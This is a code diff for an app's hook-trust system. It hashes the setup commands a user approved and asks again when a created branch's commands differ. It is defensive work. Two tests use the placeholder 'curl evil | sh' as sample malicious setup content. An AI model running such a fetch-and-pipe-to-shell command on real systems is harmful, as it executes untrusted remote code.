+    expect(pending).toHaveLength(0)
+  })
+
+  it('sends no hash when the whole repo is trusted, so any branch content runs as before', async () => {
+    const { state } = createTestState()
+    state.trustedOrcaHooks['repo-1'] = { all: { approvedAt: 1 } }
+
+    await expect(ensureHooksApproved(state, 'repo-1', 'setup')).resolves.toEqual({
+      decision: 'run'
+    })
+  })
+
+  it('re-prompts with the created branch setup content that differs', async () => {
+    const { state, pending } = createTestState()
+
+    const promise = confirmCreatedWorktreeSetupContent(() => state, 'repo-1', 'curl evil | sh')
+    await vi.waitFor(() => expect(pending).toHaveLength(1))
+    expect(pending[0].data.scriptContent).toBe('curl evil | sh')
+    expect(pending[0].data.scriptKind).toBe('setup')
+    pending[0].resolve('skip')
+
+    await expect(promise).resolves.toEqual({ decision: 'skip' })
+  })
 })
diff --git a/src/renderer/src/lib/ensure-hooks-confirmed.ts b/src/renderer/src/lib/ensure-hooks-confirmed.ts
index 854a9a5c8a8..5b8bb9dd6fb 100644
--- a/src/renderer/src/lib/ensure-hooks-confirmed.ts
+++ b/src/renderer/src/lib/ensure-hooks-confirmed.ts
@@ -4,6 +4,7 @@ import { resolveHookCommandSourcePolicy } from '../../../shared/hook-command-sou
 import { getSetupTrustContent } from '../../../shared/orca-hook-setup-config'
 import { canUseRepoWideTrust } from '../../../shared/orca-hook-trust-entries'
 import { hashOrcaHookScript, type OrcaHookScriptKind } from './orca-hook-trust'
+import { getVmRecipeTrustContent } from './vm-recipe-trust-content'
 import {
   checkRuntimeHooks,
   readRuntimeIssueCommand,
@@ -33,28 +34,6 @@ export function __resetTrustPromptChainForTests(): void {
   trustPromptChain = Promise.resolve()
 }
 
-function getVmRecipeTrustContent(yamlHooks: OrcaHooks | null): string {
-  return (yamlHooks?.environmentRecipes ?? [])
-    .map((recipe) =>
-      [
-        `# environmentRecipes.${recipe.id}`,
-        `name: ${recipe.name}`,
-        recipe.description ? `description: ${recipe.description}` : null,
-        `create: ${recipe.create}`,
-        recipe.suspend ? `suspend: ${recipe.suspend}` : null,
-        recipe.resume ? `resume: ${recipe.resume}` : null,
-        recipe.destroyDisabled
-          ? 'destroy: none'
-          : recipe.destroy
-            ? `destroy: ${recipe.destroy}`
-            : null
-      ]
-        .filter((entry): entry is string => entry !== null)
-        .join('\n')
-    )
-    .join('\n\n')
-}
-
 function findHookRepo(state: AppState, repoId: string, hostId?: ExecutionHostId) {
   return hostId
     ? state.repos.find((repo) => repo.id === repoId && getRepoExecutionHostId(repo) === hostId)
@@ -85,6 +64,12 @@ function hookRepoOwnerHostId(
   return ownerHostId
 }
 
+/** A run carries the approved content's hash (empty content included) unless the whole repo is trusted. */
+export type HookTrustApproval = { decision: 'run' | 'skip'; approvedContentHash?: string }
+
+const SKIP: HookTrustApproval = { decision: 'skip' }
+const RUN_ANY: HookTrustApproval = { decision: 'run' }
+
 async function confirmScriptContent(
   state: AppState,
   repoId: string,
@@ -93,28 +78,29 @@ async function confirmScriptContent(
   hostId?: ExecutionHostId,
   isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK,
   signal?: AbortSignal
-): Promise<'run' | 'skip'> {
+): Promise<HookTrustApproval> {
   if (isCancelled() || signal?.aborted) {
-    return 'skip'
+    return SKIP
   }
-  if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId) || !scriptContent) {
-    return 'run'
+  if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId)) {
+    return RUN_ANY
   }
 
   const contentHash = await hashOrcaHookScript(scriptContent)
   if (isCancelled() || signal?.aborted) {
-    return 'skip'
+    return SKIP
   }
+  const approved: HookTrustApproval = { decision: 'run', approvedContentHash: contentHash }
   const existingHash = state.trustedOrcaHooks[repoId]?.[scriptKind]?.contentHash
-  if (existingHash === contentHash) {
-    return 'run'
+  if (!scriptContent || existingHash === contentHash) {
+    return approved
   }
 
   const repo = findHookRepo(state, repoId, hostId)
   const repoName = repo?.displayName ?? 'this repository'
   const previouslyApproved = Boolean(existingHash)
 
-  return new Promise<'run' | 'skip'>((resolve) => {
+  const decision = await new Promise<'run' | 'skip'>((resolve) => {
     let settled = false
     const settle = (decision: 'run' | 'skip'): void => {
       if (settled) {
@@ -145,6 +131,7 @@ async function confirmScriptContent(
       [MODAL_DISMISSED_KEY]: () => settle('skip')
     })
   })
+  return decision === 'run' ? approved : SKIP
 }
 
 function getIssueCommandTrustContent(result: IssueCommandReadResult): string {
@@ -178,7 +165,7 @@ async function confirmIssueCommandReadResult(
   if (result.status === 'error') {
     return 'skip'
   }
-  return confirmScriptContent(
+  const approval = await confirmScriptContent(
     state,
     repoId,
     'issueCommand',
@@ -186,6 +173,7 @@ async function confirmIssueCommandReadResult(
     hostId,
     isCancelled
   )
+  return approval.decision
 }
 
 export type ConfirmedRuntimeIssueCommand = {
@@ -234,6 +222,24 @@ export async function readAndConfirmRuntimeIssueCommand(
 }
 
 export async function ensureHooksConfirmed(
+  ...args: Parameters<typeof ensureHooksApproved>
+): Promise<'run' | 'skip'> {
+  return (await ensureHooksApproved(...args)).decision
+}
+
+/** Re-prompt with a created worktree's setup content that differs from what was approved. */
+export function confirmCreatedWorktreeSetupContent(
+  getState: () => AppState,
+  repoId: string,
+  scriptContent: string,
+  hostId?: ExecutionHostId
+): Promise<HookTrustApproval> {
+  return enqueueTrustPrompt(() =>
+    confirmScriptContent(getState(), repoId, 'setup', scriptContent, hostId)
+  )
+}
+
+export async function ensureHooksApproved(
   // Read current trust when dequeued so earlier prompts’ decisions apply.
   stateOrGetter: AppState | (() => AppState),
   repoId: string,
@@ -242,14 +248,14 @@ export async function ensureHooksConfirmed(
   runtimeOwnerEnvironmentId?: string | null,
   isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK,
   signal?: AbortSignal
-): Promise<'run' | 'skip'> {
+): Promise<HookTrustApproval> {
   return enqueueTrustPrompt(async () => {
     if (isCancelled() || signal?.aborted) {
-      return 'skip'
+      return SKIP
     }
     const state = typeof stateOrGetter === 'function' ? stateOrGetter() : stateOrGetter
     if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId)) {
-      return 'run'
+      return RUN_ANY
     }
 
     let scriptContent = ''
@@ -263,13 +269,13 @@ export async function ensureHooksConfirmed(
           { wakeWslDistro: true }
         )
         if (isUserOwnedIssueCommand(result)) {
-          return 'run'
+          return RUN_ANY
         }
         if (result.status === 'error') {
-          return 'skip'
+          return SKIP
         }
         if (result.source === 'none') {
-          return 'run'
+          return RUN_ANY
         }
         scriptContent = getIssueCommandTrustContent(result)
       } else {
@@ -282,14 +288,14 @@ export async function ensureHooksConfirmed(
           }
         )
         if (sourcePolicy === 'local-only') {
-          return 'run'
+          return RUN_ANY
         }
         const result = await checkRuntimeHooks(
           hookRepoOwnerHostId(state, repoId, hostId, runtimeOwnerEnvironmentId),
           repoId
         )
         if (result.status === 'error') {
-          return 'skip'
+          return SKIP
         }
         const yamlHooks = (result.hooks as OrcaHooks | null) ?? null
         scriptContent =
@@ -301,7 +307,7 @@ export async function ensureHooksConfirmed(
       }
     } catch {
       // Fail closed: if we cannot inspect the script, we cannot trust it.
-      return 'skip'
+      return SKIP
     }
 
     return confirmScriptContent(
diff --git a/src/renderer/src/lib/vm-recipe-trust-content.ts b/src/renderer/src/lib/vm-recipe-trust-content.ts
new file mode 100644
index 00000000000..4f2f6c2ad4d
--- /dev/null
+++ b/src/renderer/src/lib/vm-recipe-trust-content.ts
@@ -0,0 +1,24 @@
+import type { OrcaHooks } from '../../../shared/orca-yaml-hook-types'
+
+/** The environment recipe commands a vmRecipe trust approval covers. */
+export function getVmRecipeTrustContent(yamlHooks: OrcaHooks | null): string {
+  return (yamlHooks?.environmentRecipes ?? [])
+    .map((recipe) =>
+      [
+        `# environmentRecipes.${recipe.id}`,
+        `name: ${recipe.name}`,
+        recipe.description ? `description: ${recipe.description}` : null,
+        `create: ${recipe.create}`,
+        recipe.suspend ? `suspend: ${recipe.suspend}` : null,
+        recipe.resume ? `resume: ${recipe.resume}` : null,
+        recipe.destroyDisabled
+          ? 'destroy: none'
+          : recipe.destroy
+            ? `destroy: ${recipe.destroy}`
+            : null
+      ]
+        .filter((entry): entry is string => entry !== null)
+        .join('\n')
+    )
+    .join('\n\n')
+}
diff --git a/src/renderer/src/lib/workspace-setup-trust.ts b/src/renderer/src/lib/workspace-setup-trust.ts
index ac0e76daf92..b54e8b6e737 100644
--- a/src/renderer/src/lib/workspace-setup-trust.ts
+++ b/src/renderer/src/lib/workspace-setup-trust.ts
@@ -1,7 +1,7 @@
 import type { AppState } from '@/store/types'
 import type { ExecutionHostId } from '../../../shared/execution-host'
 import type { SetupDecision } from '../../../shared/worktree/create-types'
-import { ensureHooksConfirmed } from './ensure-hooks-confirmed'
+import { ensureHooksApproved } from './ensure-hooks-confirmed'
 import { settleComposerSubmit } from './composer-submit-cancellation'
 
 export async function confirmWorkspaceSetupDecision<T extends SetupDecision | undefined>(
@@ -11,9 +11,12 @@ export async function confirmWorkspaceSetupDecision<T extends SetupDecision | un
   ownerHostId: ExecutionHostId | undefined,
   isCancelled: () => boolean,
   signal?: AbortSignal
-): Promise<{ setupDecision: T | 'skip'; trustDecision: 'run' | 'skip' } | 'cancelled'> {
+): Promise<
+  | { setupDecision: T | 'skip'; trustDecision: 'run' | 'skip'; approvedSetupHash?: string }
+  | 'cancelled'
+> {
   const trust = await settleComposerSubmit(
-    ensureHooksConfirmed(
+    ensureHooksApproved(
       stateOrGetter,
       repoId,
       'setup',
@@ -27,5 +30,13 @@ export async function confirmWorkspaceSetupDecision<T extends SetupDecision | un
   if (trust.status === 'cancelled') {
     return 'cancelled'
   }
-  return { setupDecision: trust.value === 'skip' ? 'skip' : decision, trustDecision: trust.value }
+  const { decision: trustDecision, approvedContentHash } = trust.value
+  // The host runs shared setup only if the created branch's content hashes to this.
+  return {
+    setupDecision: trustDecision === 'skip' ? 'skip' : decision,
+    trustDecision,
+    ...(trustDecision === 'run' && approvedContentHash !== undefined
+      ? { approvedSetupHash: approvedContentHash }
+      : {})
+  }
 }
diff --git a/src/renderer/src/lib/workspace/creation/pending-worktree-creation.ts b/src/renderer/src/lib/workspace/creation/pending-worktree-creation.ts
index 2cb9fcabaf7..1297f50629a 100644
--- a/src/renderer/src/lib/workspace/creation/pending-worktree-creation.ts
+++ b/src/renderer/src/lib/workspace/creation/pending-worktree-creation.ts
@@ -71,6 +71,8 @@ export type WorktreeCreationRequest = {
   baseBranch?: string
   compareBaseRef?: string
   setupDecision: SetupDecision
+  /** Hash of the setup content confirmed at submit; the host compares it with the created branch's. */
+  approvedSetupHash?: string
   /** Inspect and confirm scripts on the captured host after the composer closes. */
   hookPreparation?: {
     executionHostId?: ExecutionHostId
diff --git a/src/renderer/src/lib/workspace/creation/work-item/direct-work-item-setup.ts b/src/renderer/src/lib/workspace/creation/work-item/direct-work-item-setup.ts
index 92e28ce4dcb..470079f39bf 100644
--- a/src/renderer/src/lib/workspace/creation/work-item/direct-work-item-setup.ts
+++ b/src/renderer/src/lib/workspace/creation/work-item/direct-work-item-setup.ts
@@ -69,7 +69,9 @@ export async function prepareDirectWorkItemSetup(
   ownerHostId: ExecutionHostId,
   signal?: AbortSignal,
   onSetupRequired?: () => void
-): Promise<SetupDecision | 'cancelled' | 'review-request'> {
+): Promise<
+  { setupDecision: SetupDecision; approvedSetupHash?: string } | 'cancelled' | 'review-request'
+> {
   const inspection = await resolveDirectSetupDecision(repo.id, repo, ownerHostId)
   if (signal?.aborted) {
     return 'cancelled'
@@ -98,5 +100,9 @@ export async function prepareDirectWorkItemSetup(
     () => signal?.aborted === true,
     signal
   )
-  return confirmed === 'cancelled' ? 'cancelled' : confirmed.setupDecision
+  if (confirmed === 'cancelled') {
+    return 'cancelled'
+  }
+  const { setupDecision, approvedSetupHash } = confirmed
+  return { setupDecision, ...(approvedSetupHash !== undefined ? { approvedSetupHash } : {}) }
 }
diff --git a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-test-fixture.ts b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-test-fixture.ts
index 4639e7fc0fb..0b3ce38f5bd 100644
--- a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-test-fixture.ts
+++ b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-test-fixture.ts
@@ -86,7 +86,8 @@ vi.mock('@/lib/workspace/activation/worktree-activation', () => ({
 }))
 
 vi.mock('@/lib/ensure-hooks-confirmed', () => ({
-  ensureHooksConfirmed: vi.fn().mockResolvedValue('run')
+  ensureHooksConfirmed: vi.fn().mockResolvedValue('run'),
+  ensureHooksApproved: vi.fn().mockResolvedValue({ decision: 'run' })
 }))
 
 vi.mock('@/lib/connection-context', () => ({
diff --git a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct.ts b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct.ts
index dd8946de647..fe9e64afa9a 100644
--- a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct.ts
+++ b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct.ts
@@ -61,16 +61,16 @@ export async function launchWorkItemDirect(
     const { repo } = context
     const promptDelivery = args.promptDelivery ?? 'draft'
     const { itemType, itemNumber } = getDirectWorkItemIdentity(item)
-    const finalSetupDecision = await prepareDirectWorkItemSetup(
+    const confirmedSetup = await prepareDirectWorkItemSetup(
       repo,
       context.executionHostId,
       args.signal,
       args.onSetupRequired
     )
-    if (finalSetupDecision === 'review-request') {
+    if (confirmedSetup === 'review-request') {
       return false
     }
-    if (finalSetupDecision === 'cancelled') {
+    if (confirmedSetup === 'cancelled') {
       return 'cancelled'
     }
 
@@ -168,7 +168,7 @@ export async function launchWorkItemDirect(
       repoId,
       workspaceName,
       resolvedBaseBranch,
-      finalSetupDecision,
+      confirmedSetup.setupDecision,
       undefined,
       telemetrySource,
       workspaceIntentName?.displayName ?? item.title,
@@ -190,7 +190,12 @@ export async function launchWorkItemDirect(
       undefined,
       undefined,
       resolvedCompareBaseRef,
-      { executionHostId: context.executionHostId }
+      {
+        executionHostId: context.executionHostId,
+        ...(confirmedSetup.approvedSetupHash !== undefined
+          ? { approvedSetupHash: confirmedSetup.approvedSetupHash }
+          : {})
+      }
     )
     const worktreeId = result.worktree.id
     const worktreePath = result.worktree.path
diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-flow-execute.ts b/src/renderer/src/lib/workspace/creation/worktree-creation-flow-execute.ts
index 3210b2eba3e..be1e23f638b 100644
--- a/src/renderer/src/lib/workspace/creation/worktree-creation-flow-execute.ts
+++ b/src/renderer/src/lib/workspace/creation/worktree-creation-flow-execute.ts
@@ -1,4 +1,4 @@
-import { prepareWorktreeCreationHooks } from '@/lib/workspace/creation/worktree-creation-hook-preparation'
+import { prepareWorktreeCreationHooks, setupCreateArgs } from './worktree-creation-hook-preparation'
 import { useAppStore } from '@/store/index'
 import {
   activateAndRevealWorktree,
@@ -93,7 +93,7 @@ export async function executeWorktreeCreation(
         preparedRequest.linkedGiteaPR,
         preparedRequest.compareBaseRef,
         {
-          setupOnly: preparedRequest.setupOnly,
+          ...setupCreateArgs(preparedRequest),
           ...(preparedRequest.branchIntent ? { branchIntent: preparedRequest.branchIntent } : {}),
           ...(hostAgentLaunch ? { hostAgentLaunch } : {}),
           executionHostId: creationHostId,
diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-hook-preparation.ts b/src/renderer/src/lib/workspace/creation/worktree-creation-hook-preparation.ts
index 98d0ef38e97..3e0023828c6 100644
--- a/src/renderer/src/lib/workspace/creation/worktree-creation-hook-preparation.ts
+++ b/src/renderer/src/lib/workspace/creation/worktree-creation-hook-preparation.ts
@@ -38,7 +38,7 @@ export async function prepareWorktreeCreationHooks(
     return null
   }
 
-  const { setupDecision, trustDecision } = confirmed
+  const { setupDecision, trustDecision, approvedSetupHash } = confirmed
   let issueCommand = request.issueCommand
   if (preparation.issueCommand && preparation.executionHostId && trustDecision !== 'skip') {
     const confirmed = await readAndConfirmRuntimeIssueCommand(
@@ -74,6 +74,7 @@ export async function prepareWorktreeCreationHooks(
     hookPreparation: undefined,
     executionHostId: request.executionHostId ?? preparation.executionHostId,
     setupDecision,
+    ...(approvedSetupHash !== undefined ? { approvedSetupHash } : {}),
     issueCommand
   }
   useAppStore.getState().updatePendingWorktreeCreation(creationId, {
@@ -82,3 +83,15 @@ export async function prepareWorktreeCreationHooks(
   })
   return prepared
 }
+
+/** Setup fields for the create call; the approved hash lets the host check the created branch. */
+export function setupCreateArgs(
+  request: Pick<WorktreeCreationRequest, 'setupOnly' | 'approvedSetupHash'>
+): { setupOnly?: boolean; approvedSetupHash?: string } {
+  return {
+    setupOnly: request.setupOnly,
+    ...(request.approvedSetupHash !== undefined
+      ? { approvedSetupHash: request.approvedSetupHash }
+      : {})
+  }
+}
diff --git a/src/renderer/src/store/slices/worktrees-remote-runtime-create.test.ts b/src/renderer/src/store/slices/worktrees-remote-runtime-create.test.ts
index 0c1a5490295..c9d21297d3d 100644
--- a/src/renderer/src/store/slices/worktrees-remote-runtime-create.test.ts
+++ b/src/renderer/src/store/slices/worktrees-remote-runtime-create.test.ts
@@ -317,6 +317,38 @@ describe('worktree remote runtime mutations', () => {
       })
     )
   })
+
+  it('forwards the approved setup hash and re-prompts with setup the created branch changed', async () => {
+    const store = createRepoTestStore()
+    const openModal = vi.fn()
+    store.setState({ openModal })
+    mockApi.worktrees.create.mockResolvedValue({
+      worktree: makeWorktree({
+        id: 'repo1::/path/feature',
+        repoId: 'repo1',
+        path: '/path/feature'
+      }),
+      setupTrustMismatch: { contentHash: 'branch-hash', scriptContent: 'curl evil | sh' }
+    })
+    const create = store.getState().createWorktree
+    const args: Parameters<typeof create> = ['repo1', 'feature', 'origin/main', 'run']
+    args[25] = { approvedSetupHash: 'primary-hash' }
+
+    await create(...args)
+
+    expect(mockApi.worktrees.create).toHaveBeenCalledWith(
+      expect.objectContaining({ setupDecision: 'run', approvedSetupHash: 'primary-hash' })
+    )
+    await vi.waitFor(() => expect(openModal).toHaveBeenCalledOnce())
+    expect(openModal).toHaveBeenCalledWith(
+      'confirm-orca-yaml-hooks',
+      expect.objectContaining({
+        repoId: 'repo1',
+        scriptKind: 'setup',
+        scriptContent: 'curl evil | sh'
+      })
+    )
+  })
 })
 
 // Creation routes by the project row's own host, so every test seeds that row.
diff --git a/src/renderer/src/store/slices/worktrees/create/create-worktree.ts b/src/renderer/src/store/slices/worktrees/create/create-worktree.ts
index 1962f7c5bc8..d3ed5c16a7b 100644
--- a/src/renderer/src/store/slices/worktrees/create/create-worktree.ts
+++ b/src/renderer/src/store/slices/worktrees/create/create-worktree.ts
@@ -1,4 +1,5 @@
 import { showWorktreeCreateWarningToast } from './worktree-create-warning-toast'
+import { reviewSetupTrustMismatch } from './created-worktree-setup-trust'
 import { createWorktreeOnRuntimeHost } from './host-planned-agent-launch'
 import { runtimeRpcTargetForAuthorityKey } from '@/runtime/runtime-client-target'
 import { repoHostId } from '../listing/worktree-host-ownership'
@@ -261,6 +262,7 @@ export function createCreateWorktree(
           }
           const { result } = outcome
           showWorktreeCreateWarningToast(result.warning)
+          reviewSetupTrustMismatch(get, repoId, creationHostId, result)
           showLocalBaseRefRefreshToast(result.localBaseRefRefresh, result.worktree, {
             updateSettings: get().updateSettings,
             executionHostId: creationHostId
diff --git a/src/renderer/src/store/slices/worktrees/create/created-worktree-setup-trust.ts b/src/renderer/src/store/slices/worktrees/create/created-worktree-setup-trust.ts
new file mode 100644
index 00000000000..6f6bf87ee51
--- /dev/null
+++ b/src/renderer/src/store/slices/worktrees/create/created-worktree-setup-trust.ts
@@ -0,0 +1,28 @@
+import { toast } from 'sonner'
+import { translate } from '@/i18n/i18n'
+import type { AppState } from '@/store/types'
+import { confirmCreatedWorktreeSetupContent } from '@/lib/ensure-hooks-confirmed'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
+import type { CreateWorktreeResult } from '../../../../../../shared/worktree/create-types'
+
+/** The host skipped setup because the created branch's commands differ; ask about the real ones. */
+export function reviewSetupTrustMismatch(
+  getState: () => AppState,
+  repoId: string,
+  hostId: ExecutionHostId | undefined,
+  result: Pick<CreateWorktreeResult, 'setupTrustMismatch'>
+): void {
+  const mismatch = result.setupTrustMismatch
+  if (!mismatch) {
+    return
+  }
+  toast.warning(
+    translate(
+      'worktree.setupTrust.createdBranchSkipped',
+      "Setup didn't run: this branch's orca.yaml setup commands differ from the ones you approved."
+    )
+  )
+  void confirmCreatedWorktreeSetupContent(getState, repoId, mismatch.scriptContent, hostId).catch(
+    (error: unknown) => console.error('Failed to review the workspace setup commands:', error)
+  )
+}
diff --git a/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts b/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts
index ae204194509..210b492e88a 100644
--- a/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts
+++ b/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts
@@ -28,6 +28,8 @@ export type CreateWorktreeCallOptions = {
   /** A terminal agent the owning host may plan from its own settings; `startup` stays the fallback. */
   hostAgentLaunch?: HostAgentLaunch
   setupOnly?: boolean
+  /** Hash of the confirmed setup content; see CreateWorktreeArgs. */
+  approvedSetupHash?: string
   /** True only when `name` came from the creature-name generator; gates host-side retirement. */
   nameWasGenerated?: boolean
   displayNameKind?: CreateWorktreeArgs['displayNameKind']
@@ -79,6 +81,9 @@ function sharedCreateFields(
     ...(attempt.branchNameOverride ? { branchNameOverride: attempt.branchNameOverride } : {}),
     ...(request.branchIntent ? { branchIntent: request.branchIntent } : {}),
     setupDecision: request.setupDecision,
+    ...(options?.approvedSetupHash !== undefined
+      ? { approvedSetupHash: options.approvedSetupHash }
+      : {}),
     ...(options?.setupOnly !== undefined ? { setupOnly: options.setupOnly } : {}),
     sparseCheckout: request.sparseCheckout,
     ...(request.displayName ? { displayName: request.displayName } : {}),
diff --git a/src/renderer/src/web/preload-api/web-worktrees-api.ts b/src/renderer/src/web/preload-api/web-worktrees-api.ts
index f0ab6c8885e..6c7bf78f303 100644
--- a/src/renderer/src/web/preload-api/web-worktrees-api.ts
+++ b/src/renderer/src/web/preload-api/web-worktrees-api.ts
@@ -80,6 +80,9 @@ export function createWorktreesApi(): NonNullable<Partial<PreloadApi>['worktrees
         sparseCheckout: args.sparseCheckout,
         pushTarget: args.pushTarget,
         setupDecision: args.setupDecision,
+        ...(args.approvedSetupHash !== undefined
+          ? { approvedSetupHash: args.approvedSetupHash }
+          : {}),
         createdWithAgent: args.createdWithAgent,
         pendingFirstAgentMessageRename: args.pendingFirstAgentMessageRename,
         ...(args.startup
diff --git a/src/shared/rpc-contract/worktree-create-params.ts b/src/shared/rpc-contract/worktree-create-params.ts
index 8fb9365d8e3..c236302ecfe 100644
--- a/src/shared/rpc-contract/worktree-create-params.ts
+++ b/src/shared/rpc-contract/worktree-create-params.ts
@@ -117,6 +117,8 @@ export const WorktreeCreate = z
       )
       .pipe(z.union([z.enum(['run', 'skip', 'inherit']), z.undefined()]))
       .optional(),
+    // A malformed hash never matches, so the host skips setup rather than running unapproved content.
+    approvedSetupHash: z.string().max(128).optional(),
     // Desktop can prequote startup commands; clients unable to quote for the host send startupAgent.
     startupCommand: OptionalString,
     startupEnv: z.record(z.string(), z.string()).optional(),
diff --git a/src/shared/worktree/create-types.ts b/src/shared/worktree/create-types.ts
index 73b2ca3013f..b6b42404d75 100644
--- a/src/shared/worktree/create-types.ts
+++ b/src/shared/worktree/create-types.ts
@@ -47,6 +47,9 @@ export type {
 
 export type SetupDecision = 'inherit' | 'run' | 'skip'
 
+/** The created worktree's shared setup commands, when they differ from what the client approved. */
+export type SetupTrustMismatch = { contentHash: string; scriptContent: string }
+
 export type WorktreeCreateTimingPhase = {
   phase: string
   startedAtMs: number
@@ -106,6 +109,8 @@ export type CreateWorktreeArgs = {
   /** V1 open-existing retains legacy tip/collision policy; V2 pins explicit reuse regardless of remote divergence. */
   branchIntent?: 'open-existing' | 'open-existing-v2' | 'create-new'
   setupDecision?: SetupDecision
+  /** SHA-256 of the setup trust content the user approved; hosts run shared setup only if the created worktree's matches. Older clients omit it. */
+  approvedSetupHash?: string
   /** Per-create choice; omitted callers use the execution host's saved default. */
   setupOnly?: boolean
   sparseCheckout?: CreateSparseCheckoutRequest
@@ -189,6 +194,8 @@ export type CreateWorktreeResult = {
     terminalHandle?: string
   }
   defaultTabs?: WorktreeDefaultTabsLaunch
+  /** Setup and default-tab commands were skipped because the created branch's differ from the approved ones. */
+  setupTrustMismatch?: SetupTrustMismatch
   warning?: string
   baseFallback?: WorktreeCreateBaseFallback
   initialBaseStatus?: WorktreeBaseStatusEvent